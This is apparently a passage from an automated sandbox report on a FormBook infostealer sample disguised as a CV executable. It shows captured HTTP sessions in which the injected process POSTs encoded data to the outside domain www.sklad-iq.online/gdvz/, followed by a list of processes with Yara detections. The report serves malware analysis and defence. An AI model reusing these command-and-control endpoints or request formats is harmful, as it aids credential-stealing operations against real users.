"1yhW)"*B<(/&UaZ3;8 ,""6b [TRUNCATED]
Nov 24, 2024 08:12:58.667390108 CET	1236	IN	Data Raw: 36 eb cc fd 25 76 75 0d 0f d1 ec f8 1d 57 f4 a5 a1 23 1b 13 ca 28 f0 07 4f 76 0a a8 18 70 b7 29 93 fd 13 e8 45 da 82 79 1f 27 f7 80 33 25 61 8e 65 17 63 57 1b 27 1e 77 b5 cb 0b 4d ba 01 f8 ce 43 a2 f4 05 e4 fe 19 e9 ef 7e fa 7b 84 c8 e3 f4 cb e4 Data Ascii: 6%vuW#(Ovp)Ey'3%aecW'wMC~{{VPK'i>3<5.;Hox:s+p\|@XazP6Io^`,dPH?\|XXC5d__z3LtCKx120x`j?sB~$!EU7Y
Nov 24, 2024 08:12:58.667402983 CET	1069	IN	Data Raw: b6 7b 2d 5d 82 3c e5 35 c2 d2 81 a5 e3 fa 65 cf 4f 3a b2 cf ae 3d f2 4b 11 28 de e3 92 d7 e8 4f fd da 29 56 fa 71 fa ac c6 a8 dd 54 37 1d 38 e5 c4 b9 64 9d cd 77 a2 fe 91 c0 06 df df 98 1b bc 77 6a ee eb 4c 16 4e 49 3b 4e 6f a9 9c 5d 1e 31 3a 5b Data Ascii: {-]<5eO:=K(O)VqT78dwwjLNI;No]1:[qi#l[k[cU^eH~A_`KLW9DJA56tue)wfTmN?bYV]1bq!,Z}s9ghO)2rz;w\|{sK/}$dRrxH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50048	194.58.112.174	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:12:59.929430962 CET	751	OUT	POST /gdvz/ HTTP/1.1 Host: www.sklad-iq.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.sklad-iq.online Referer: http://www.sklad-iq.online/gdvz/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 225 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 31 30 41 6a 54 74 36 33 45 69 66 42 31 50 4e 51 42 70 66 2f 36 6b 50 32 77 6f 59 6e 4b 58 6c 63 5a 6a 38 71 64 6d 53 41 35 61 36 4c 31 46 59 36 44 6f 72 32 66 73 38 38 6e 56 51 58 46 41 6e 53 77 6c 74 6c 76 46 6c 49 51 59 39 63 53 68 61 77 51 38 36 34 59 54 74 6c 37 49 69 72 50 49 72 48 68 30 4b 64 70 72 70 51 42 35 71 6b 6c 4a 6c 4a 61 57 55 79 30 49 6c 74 2f 6a 6b 67 77 49 33 69 6f 31 6f 77 4f 7a 50 59 4c 5a 36 74 2b 76 48 70 59 46 75 69 4e 78 2f 71 6a 50 41 52 6e 62 56 6c 4e 33 58 45 54 6a 43 71 56 66 4f 6a 6a 75 6e 33 30 64 34 77 58 35 4d 2f 4c 2f 34 77 77 54 44 42 7a 4a 6c 42 72 7a 50 32 52 72 43 76 6a 6d 53 4c 42 57 47 6c 7a 6b 73 3d Data Ascii: 3vNdCBvX=10AjTt63EifB1PNQBpf/6kP2woYnKXlcZj8qdmSA5a6L1FY6Dor2fs88nVQXFAnSwltlvFlIQY9cShawQ864YTtl7IirPIrHh0KdprpQB5qklJlJaWUy0Ilt/jkgwI3io1owOzPYLZ6t+vHpYFuiNx/qjPARnbVlN3XETjCqVfOjjun30d4wX5M/L/4wwTDBzJlBrzP2RrCvjmSLBWGlzks=
Nov 24, 2024 08:13:01.334291935 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 24 Nov 2024 07:13:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 64 31 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 4d e2 f4 53 1e 05 e4 b4 28 14 85 18 2e 87 e4 9a fb ca ee 50 34 6d 0b 48 ec a4 49 10 23 46 d3 00 05 82 16 7d a1 e8 a7 02 f2 43 8d e2 87 f2 17 76 ff 51 cf 9d d9 5d 2e 29 52 7e c4 29 2a 40 12 39 3b 73 e7 ce bd e7 9e 7b 67 66 9b a7 7b 81 2d a7 a1 60 43 e9 b9 ed 26 fd 65 b6 cb e3 b8 55 71 e2 0e ef f1 50 3a bb a2 c2 5c ee 0f 5a 95 68 5c 41 1f c1 7b ed a6 27 24 67 f6 90 47 b1 90 ad ca 7b 97 7e 69 9c c3 33 d5 ea 73 4f b4 2a 21 8f 46 8e 3f a8 30 3b f0 a5 f0 d1 29 12 83 68 6c 44 90 39 df 73 d7 11 93 30 88 64 a9 eb c4 e9 c9 61 ab 27 76 1d 5b 18 ea 4b c3 f1 1d e9 70 d7 88 6d ee 8a d6 3a 44 48 47 ba a2 3d 99 4c cc 78 e4 f2 9e e1 7c 68 06 be eb f8 a2 69 e9 47 4d 7c 19 b1 48 b8 ad 4a 2c a7 ae 88 87 42 60 16 4f f4 1c de aa 70 d7 ad b0 61 24 fa 85 ae 4a 37 83 8f 65 60 da 71 8c 19 66 e3 1d ac 22 ef dd e7 50 2b f0 4d fc d9 5c af 30 32 1f ac e5 f1 81 b0 ae 18 aa 63 bb 19 db 91 13 ca b6 75 a6 79 7a fb 8d 8b [TRUNCATED] Data Ascii: d1bZko_1fQRERMS(.P4mHI#F}CvQ].)R~)@9;s{gf{-`C&eUqP:\Zh\A{'$gG{~i3sO!F?0;)hlD9s0da'v[Kpm:DHG=Lx\|hiGM\|HJ,B`Opa$J7e`qf"P+M\02cuyz]zmuj`b-X-mXM+cX}/bi^(`GvRNr3E"S8t4\Aok:NV`;:3Jd,Gut$rEK svW5@JR\D7Q(9Hd?%\|>Qr7wnn4:l6P0`Y=A(\|@-"y4t#(WL?Jo6-nZXGt@7&CQA,VvRnYlmdgX6fzhOh#RUnN9sUwR~.a@?\|QG9Y6!-{;WE\|_/F.y/u\"50pbk{Z4n`H'-ZoHKaSV_w)O^N/S{2%uks,\ecJ0c/W\|l,;L~Q'3;`&GgMIt)KF)RjC' "1yhW)"*B<(/&UaZ3;8 ,""6b [TRUNCATED]
Nov 24, 2024 08:13:01.334316969 CET	1236	IN	Data Raw: 36 eb cc fd 25 76 75 0d 0f d1 ec f8 1d 57 f4 a5 a1 23 1b 13 ca 28 f0 07 4f 76 0a a8 18 70 b7 29 93 fd 13 e8 45 da 82 79 1f 27 f7 80 33 25 61 8e 65 17 63 57 1b 27 1e 77 b5 cb 0b 4d ba 01 f8 ce 43 a2 f4 05 e4 fe 19 e9 ef 7e fa 7b 84 c8 e3 f4 cb e4 Data Ascii: 6%vuW#(Ovp)Ey'3%aecW'wMC~{{VPK'i>3<5.;Hox:s+p\|@XazP6Io^`,dPH?\|XXC5d__z3LtCKx120x`j?sB~$!EU7Y
Nov 24, 2024 08:13:01.334328890 CET	1069	IN	Data Raw: b6 7b 2d 5d 82 3c e5 35 c2 d2 81 a5 e3 fa 65 cf 4f 3a b2 cf ae 3d f2 4b 11 28 de e3 92 d7 e8 4f fd da 29 56 fa 71 fa ac c6 a8 dd 54 37 1d 38 e5 c4 b9 64 9d cd 77 a2 fe 91 c0 06 df df 98 1b bc 77 6a ee eb 4c 16 4e 49 3b 4e 6f a9 9c 5d 1e 31 3a 5b Data Ascii: {-]<5eO:=K(O)VqT78dwwjLNI;No]1:[qi#l[k[cU^eH~A_`KLW9DJA56tue)wfTmN?bYV]1bq!,Z}s9ghO)2rz;w\|{sK/}$dRrxH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50049	194.58.112.174	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:13:02.588238955 CET	10833	OUT	POST /gdvz/ HTTP/1.1 Host: www.sklad-iq.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://www.sklad-iq.online Referer: http://www.sklad-iq.online/gdvz/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10305 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Data Raw: 33 76 4e 64 43 42 76 58 3d 31 30 41 6a 54 74 36 33 45 69 66 42 31 50 4e 51 42 70 66 2f 36 6b 50 32 77 6f 59 6e 4b 58 6c 63 5a 6a 38 71 64 6d 53 41 35 62 43 4c 31 58 67 36 4d 72 44 32 65 73 38 38 6b 56 51 55 46 41 6e 54 77 6c 31 68 76 46 70 59 51 61 31 63 64 6a 43 77 41 4e 36 34 52 54 74 6c 6b 59 69 71 41 6f 72 53 68 77 6e 61 70 72 35 51 42 35 71 6b 6c 4d 68 4a 64 43 41 79 34 6f 6c 71 34 6a 6b 38 6d 49 33 47 6f 31 77 67 4f 7a 4b 6a 4b 6f 61 74 77 76 33 70 5a 77 36 69 53 42 2f 6f 77 2f 41 4a 6e 62 5a 75 4e 33 4c 2b 54 69 32 45 56 66 4b 6a 75 5a 53 66 7a 2b 6b 51 55 71 59 44 63 2b 41 31 32 41 54 47 39 6f 4e 74 6a 78 58 50 45 5a 71 51 6c 45 54 59 57 6e 4b 7a 78 55 64 72 71 39 67 4f 76 47 2b 65 53 37 43 4b 50 4e 52 2b 57 31 7a 39 36 51 66 2b 4a 47 37 70 66 63 64 39 30 2f 55 78 65 47 53 44 6d 70 4c 68 44 6d 4a 6c 2f 48 5a 50 38 73 44 4d 54 6e 43 72 4c 6d 70 69 55 4f 41 63 57 64 66 5a 79 38 38 77 42 70 65 76 43 4e 4b 38 66 55 68 34 6a 6f 42 65 48 42 4d 44 4b 6e 36 51 49 65 77 46 66 48 64 61 68 5a 46 72 70 [TRUNCATED] Data Ascii: 3vNdCBvX=10AjTt63EifB1PNQBpf/6kP2woYnKXlcZj8qdmSA5bCL1Xg6MrD2es88kVQUFAnTwl1hvFpYQa1cdjCwAN64RTtlkYiqAorShwnapr5QB5qklMhJdCAy4olq4jk8mI3Go1wgOzKjKoatwv3pZw6iSB/ow/AJnbZuN3L+Ti2EVfKjuZSfz+kQUqYDc+A12ATG9oNtjxXPEZqQlETYWnKzxUdrq9gOvG+eS7CKPNR+W1z96Qf+JG7pfcd90/UxeGSDmpLhDmJl/HZP8sDMTnCrLmpiUOAcWdfZy88wBpevCNK8fUh4joBeHBMDKn6QIewFfHdahZFrpBJOGf13b+oZp3NWKqStFr5QL3oBT1VQZucg9ZPfK+dEsw2xS+9iQ1zH+tSya2CU2ofcWWsTdgL65BI4BC5blcIsOnNTlmoZAT9fg11l0WYLR9Mxb2gXJiMlkc4vsLdus+5H1STRoqimvPCxsprWrlNvIIoED6oJU9jxx6Zo72vuJ6id9qqjEWasPnh9+6QPSESQNvghCHzTEH2fMEMz60NaMaY9Npn1OZgC8hg+335LzpIzSuxz9TSFgu1YS2bfzRtUcBi3WOVvo98CaguHQ76JtjIEpmiIxkWOGNhd4D1S2wi6Hi5LdSWgQzBeEo6tgEbNIUXd48sIk34xqYVvQKWNHDPv1s5nxNV+/XcNzYfQA+mSVwDMhKcIOujsLyBT1+8K9gby1XD93k5tDgZyGk2YKLb+M2+E2bjRqGlWtaIKNwj4ffZPFJPPGODhdpe5A5lQPBklp0dpQMbppTvmQ9ggmJUt2PULMrUfd/6FDCQQe+rw9+e91ZMim2rHLO5A6nQ6Av4xgGcGMOwRfDXJSGlJWnHwRn6q6JpyFK9gh711sNrtIB9HDEMs1rvI+lVv4CcVCzoQD29BUPR5RrUHcDEEJPsaLu9FSKnf3rVjsEv6ktIGyf+Y0nBT3GDejWhyT4eJ3YkUq2e88fRTeZgU8hhPHbVSpYIVnXj [TRUNCATED]
Nov 24, 2024 08:13:03.996877909 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 24 Nov 2024 07:13:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 64 31 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 5a 6b 6f 1b c7 15 fd ee 5f 31 66 01 91 b4 b9 bb 51 52 04 b6 45 52 4d e2 f4 53 1e 05 e4 b4 28 14 85 18 2e 87 e4 9a fb ca ee 50 34 6d 0b 48 ec a4 49 10 23 46 d3 00 05 82 16 7d a1 e8 a7 02 f2 43 8d e2 87 f2 17 76 ff 51 cf 9d d9 5d 2e 29 52 7e c4 29 2a 40 12 39 3b 73 e7 ce bd e7 9e 7b 67 66 9b a7 7b 81 2d a7 a1 60 43 e9 b9 ed 26 fd 65 b6 cb e3 b8 55 71 e2 0e ef f1 50 3a bb a2 c2 5c ee 0f 5a 95 68 5c 41 1f c1 7b ed a6 27 24 67 f6 90 47 b1 90 ad ca 7b 97 7e 69 9c c3 33 d5 ea 73 4f b4 2a 21 8f 46 8e 3f a8 30 3b f0 a5 f0 d1 29 12 83 68 6c 44 90 39 df 73 d7 11 93 30 88 64 a9 eb c4 e9 c9 61 ab 27 76 1d 5b 18 ea 4b c3 f1 1d e9 70 d7 88 6d ee 8a d6 3a 44 48 47 ba a2 3d 99 4c cc 78 e4 f2 9e e1 7c 68 06 be eb f8 a2 69 e9 47 4d 7c 19 b1 48 b8 ad 4a 2c a7 ae 88 87 42 60 16 4f f4 1c de aa 70 d7 ad b0 61 24 fa 85 ae 4a 37 83 8f 65 60 da 71 8c 19 66 e3 1d ac 22 ef dd e7 50 2b f0 4d fc d9 5c af 30 32 1f ac e5 f1 81 b0 ae 18 aa 63 bb 19 db 91 13 ca b6 75 a6 79 7a fb 8d 8b [TRUNCATED] Data Ascii: d1bZko_1fQRERMS(.P4mHI#F}CvQ].)R~)@9;s{gf{-`C&eUqP:\Zh\A{'$gG{~i3sO!F?0;)hlD9s0da'v[Kpm:DHG=Lx\|hiGM\|HJ,B`Opa$J7e`qf"P+M\02cuyz]zmuj`b-X-mXM+cX}/bi^(`GvRNr3E"S8t4\Aok:NV`;:3Jd,Gut$rEK svW5@JR\D7Q(9Hd?%\|>Qr7wnn4:l6P0`Y=A(\|@-"y4t#(WL?Jo6-nZXGt@7&CQA,VvRnYlmdgX6fzhOh#RUnN9sUwR~.a@?\|QG9Y6!-{;WE\|_/F.y/u\"50pbk{Z4n`H'-ZoHKaSV_w)O^N/S{2%uks,\ecJ0c/W\|l,;L~Q'3;`&GgMIt)KF)RjC' "1yhW)"*B<(/&UaZ3;8 ,""6b [TRUNCATED]
Nov 24, 2024 08:13:03.996937037 CET	1236	IN	Data Raw: 36 eb cc fd 25 76 75 0d 0f d1 ec f8 1d 57 f4 a5 a1 23 1b 13 ca 28 f0 07 4f 76 0a a8 18 70 b7 29 93 fd 13 e8 45 da 82 79 1f 27 f7 80 33 25 61 8e 65 17 63 57 1b 27 1e 77 b5 cb 0b 4d ba 01 f8 ce 43 a2 f4 05 e4 fe 19 e9 ef 7e fa 7b 84 c8 e3 f4 cb e4 Data Ascii: 6%vuW#(Ovp)Ey'3%aecW'wMC~{{VPK'i>3<5.;Hox:s+p\|@XazP6Io^`,dPH?\|XXC5d__z3LtCKx120x`j?sB~$!EU7Y
Nov 24, 2024 08:13:03.996944904 CET	1069	IN	Data Raw: b6 7b 2d 5d 82 3c e5 35 c2 d2 81 a5 e3 fa 65 cf 4f 3a b2 cf ae 3d f2 4b 11 28 de e3 92 d7 e8 4f fd da 29 56 fa 71 fa ac c6 a8 dd 54 37 1d 38 e5 c4 b9 64 9d cd 77 a2 fe 91 c0 06 df df 98 1b bc 77 6a ee eb 4c 16 4e 49 3b 4e 6f a9 9c 5d 1e 31 3a 5b Data Ascii: {-]<5eO:=K(O)VqT78dwwjLNI;No]1:[qi#l[k[cU^eH~A_`KLW9DJA56tue)wfTmN?bYV]1bq!,Z}s9ghO)2rz;w\|{sK/}$dRrxH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50050	194.58.112.174	80	4544	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 08:13:05.331769943 CET	463	OUT	GET /gdvz/?3vNdCBvX=42oDQZKHBS2RpvFPN57q1Tvu2doBJ10tXRowK0Gqt433jWsXILGJddh+nwwRXUDcpHF9qTVEG6VDXm2WV9OicxtKtIH3MbSxhASop5ADKNulvt1+Wm0v0/w=&etx=BXy4elO0X HTTP/1.1 Host: www.sklad-iq.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36
Nov 24, 2024 08:13:06.695780993 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 24 Nov 2024 07:13:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 32 34 66 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 73 5f 61 64 61 70 74 69 76 65 22 20 6c 61 6e 67 3d 22 72 75 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 70 61 72 6b 69 6e 67 22 20 63 6f 6e 74 65 6e 74 3d 22 72 65 67 72 75 2d 72 64 61 70 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 77 77 77 2e 73 6b 6c 61 64 2d 69 71 2e 6f 6e 6c 69 6e 65 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 70 61 72 6b 69 6e 67 2d 72 64 61 70 2d 61 75 74 6f 2e 63 73 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 31 22 20 74 79 70 65 3d 22 69 6d [TRUNCATED] Data Ascii: 24f3<!doctype html><html class="is_adaptive" lang="ru"><head><meta charset="UTF-8"><meta name="parking" content="regru-rdap"><meta name="viewport" content="width=device-width,initial-scale=1"><title>www.sklad-iq.online</title><link rel="stylesheet" media="all" href="parking-rdap-auto.css"><link rel="icon" href="favicon.ico?1" type="image/x-icon"><script>/<![CDATA[/window.trackScriptLoad = function(){};/.../</script><script onload="window.trackScriptLoad('/manifest.js')" onerror="window.trackScriptLoad('/manifest.js', 1)" src="/manifest.js" charset="utf-8"></script><script onload="window.trackScriptLoad('/head-scripts.js')" onerror="window.trackScriptLoad('/head-scripts.js', 1)" src="/head-scripts.js" charset="utf-8"></script></head><body class="b-page b-page_type_parking b-parking b-parking_bg_light"><header class="b-parking__header b-parking__header_type_rdap"><div class="b-parking__header-note b-text">  <a class="b-link" href="https://reg.r [TRUNCATED]
Nov 24, 2024 08:13:06.695863008 CET	224	IN	Data Raw: 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 2d 70 61 67 65 5f 5f 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 20 62 2d 70 61 67 65 5f 5f 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 5f 73 74 79 6c 65 5f 69 6e 64 65 6e 74 20 62 2d 70 61 67 65 5f 5f Data Ascii: ><div class="b-page__content-wrapper b-page__content-wrapper_style_indent b-page__content-wrapper_type_hosting-static"><div class="b-parking__header-content"><h1 class="b-parking__header-title">www.sklad-iq.online</h1><p cla
Nov 24, 2024 08:13:06.695931911 CET	1236	IN	Data Raw: 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 68 65 61 64 65 72 2d 64 65 73 63 72 69 70 74 69 6f 6e 20 62 2d 74 65 78 74 22 3e d0 94 d0 be d0 bc d0 b5 d0 bd 20 d0 b7 d0 b0 d1 80 d0 b5 d0 b3 d0 b8 d1 81 d1 82 d1 80 d0 b8 d1 80 d0 be d0 b2 d0 b0 d0 Data Ascii: ss="b-parking__header-description b-text"> <br>   .</p><div class="b-parking__buttons-wrapper"><a class="b-button b-button_color_reference b-button_size_norm
Nov 24, 2024 08:13:06.696033001 CET	1236	IN	Data Raw: 70 72 6f 6d 6f 2d 69 6d 61 67 65 5f 74 79 70 65 5f 68 6f 73 74 69 6e 67 22 3e 3c 2f 73 70 61 6e 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 2d 6d 61 72 67 69 6e 5f 6c 65 66 74 2d 6c 61 72 67 65 22 3e 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 62 Data Ascii: promo-image_type_hosting"></span><div class="l-margin_left-large"><strong class="b-title b-title_size_large-compact"></strong><p class="b-text b-parking__promo-subtitle l-margin_bottom-none">
Nov 24, 2024 08:13:06.696046114 CET	448	IN	Data Raw: 3a 2f 2f 77 77 77 2e 72 65 67 2e 72 75 2f 68 6f 73 74 69 6e 67 2f 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 77 77 77 2e 73 6b 6c 61 64 2d 69 71 2e 6f 6e 6c 69 6e 65 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 70 61 72 6b 69 6e 67 26 75 74 6d 5f 63 61 6d 70 61 Data Ascii: ://www.reg.ru/hosting/?utm_source=www.sklad-iq.online&utm_medium=parking&utm_campaign=s_land_host&reg_source=parking_auto"> </a><p class="b-price b-parking__price"> <b class="b-price__amount">83 <span c
Nov 24, 2024 08:13:06.696158886 CET	1236	IN	Data Raw: 62 2d 74 69 74 6c 65 20 62 2d 74 69 74 6c 65 5f 73 69 7a 65 5f 6c 61 72 67 65 2d 63 6f 6d 70 61 63 74 22 3e d0 92 d0 b8 d1 80 d1 82 d1 83 d0 b0 d0 bb d1 8c d0 bd d1 8b d0 b9 20 d1 85 d0 be d1 81 d1 82 d0 b8 d0 bd d0 b3 2c 20 56 50 53 20 d0 b8 26 Data Ascii: b-title b-title_size_large-compact"> , VPS  Dedicated</strong><p class="b-text b-parking__promo-description">
Nov 24, 2024 08:13:06.696229935 CET	1236	IN	Data Raw: 63 74 69 6f 6e 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 62 2d 70 61 72 6b 69 6e 67 5f 5f 70 72 6f 6d 6f 2d 69 6d 61 67 65 20 62 2d 70 61 72 6b 69 6e 67 5f 5f 70 72 6f 6d 6f 2d 69 6d 61 67 65 5f 74 79 70 65 5f 73 73 6c 20 6c 2d 6d 61 72 67 69 Data Ascii: ction"><span class="b-parking__promo-image b-parking__promo-image_type_ssl l-margin_right-large"></span> <strong class="b-title b-title_size_large-compact b-title_margin_none">SSL-  6
Nov 24, 2024 08:13:06.696240902 CET	1236	IN	Data Raw: 72 6f 72 3d 22 77 69 6e 64 6f 77 2e 74 72 61 63 6b 53 63 72 69 70 74 4c 6f 61 64 28 27 70 61 72 6b 69 6e 67 2d 72 64 61 70 2d 61 75 74 6f 2e 6a 73 27 2c 20 31 29 22 20 73 72 63 3d 22 70 61 72 6b 69 6e 67 2d 72 64 61 70 2d 61 75 74 6f 2e 6a 73 22 Data Ascii: ror="window.trackScriptLoad('parking-rdap-auto.js', 1)" src="parking-rdap-auto.js" charset="utf-8"></script><script>function ondata(data){ if ( data.error_code ) { return; } if ( data.ref_id
Nov 24, 2024 08:13:06.696250916 CET	1236	IN	Data Raw: 20 20 20 74 20 3d 20 27 74 65 78 74 43 6f 6e 74 65 6e 74 27 20 69 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 20 3f 20 27 74 65 78 74 43 6f 6e 74 65 6e 74 27 20 3a 20 27 69 6e 6e 65 72 54 65 78 74 27 3b 0a 0a 20 20 20 20 20 20 20 20 76 61 72 20 Data Ascii: t = 'textContent' in document.body ? 'textContent' : 'innerText'; var domainName = document.title.match( /(xn--\|[0-9]).+\.(xn--)[^\s]+/ )[0]; if ( domainName ) { var domainNameUnicode = punycode.ToUnicode( doma
Nov 24, 2024 08:13:06.696343899 CET	298	IN	Data Raw: 20 20 20 20 20 20 20 63 6c 69 63 6b 6d 61 70 3a 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 74 72 61 63 6b 4c 69 6e 6b 73 3a 74 72 75 65 2c 0a 20 20 20 20 20 20 20 20 61 63 63 75 72 61 74 65 54 72 61 63 6b 42 6f 75 6e 63 65 3a 74 72 75 65 2c 0a 20 Data Ascii: clickmap:true, trackLinks:true, accurateTrackBounce:true, webvisor:true });</script><noscript><div><img src="https://mc.yandex.ru/watch/98466329" style="position:absolute; left:-9999px;" alt=""></div></noscrip

Target ID:	0
Start time:	02:08:59
Start date:	24/11/2024
Path:	C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe"
Imagebase:	0x380000
File size:	1'207'808 bytes
MD5 hash:	DFFCFC55DBE3596498888C48F569ADCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:09:01
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\CV Lic H&S Olivetti Renzo.exe"
Imagebase:	0xcf0000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2031660118.00000000038D0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2036469634.0000000004000000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.2031290785.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:09:27
Start date:	24/11/2024
Path:	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe"
Imagebase:	0xe60000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.4145164327.00000000028E0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:09:30
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\winver.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\winver.exe"
Imagebase:	0x30000
File size:	57'344 bytes
MD5 hash:	B5471B0FB5402FC318C82C994C6BF84D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4145192791.0000000004BB0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4145128691.0000000004B60000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.4143976665.0000000003000000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	02:09:42
Start date:	24/11/2024
Path:	C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\BHtluLzPFWyPjqpXXmcmRqLPfYdfxesDYRPduYuQsu\DIRZUznVUfWlad.exe"
Imagebase:	0xe60000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:09:55
Start date:	24/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
